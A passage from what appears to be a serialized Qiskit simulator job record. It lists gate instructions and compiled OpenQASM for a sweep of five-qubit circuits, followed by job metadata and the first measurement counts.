\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1305', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['6.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1307', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [6.1000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['6.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1309', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [6.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['6.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1311', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}], 'header': {'backend_name': 'qasm_simulator'}, 'type': 'QASM', 'schema_version': '1.0.0'}, 'date': '2019-03-24T10:03:29.200000+00:00', 'job_id': 'c959f4ca-0f0e-4231-b997-5e327edb4208', 'backend_name': 'qasm_simulator', 'backend_version': '0.1.1', 'job_status': 'DONE', 'results': [{'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.0,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1187', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 400517686, 'status': 'DONE', 'data': {'counts': {'0x3': 996, '0x1': 976, '0x0': 3067, '0x2': 3153}}, 'success': True, 'shots': 8192, 'time_taken': 0.445159379, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.100000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx 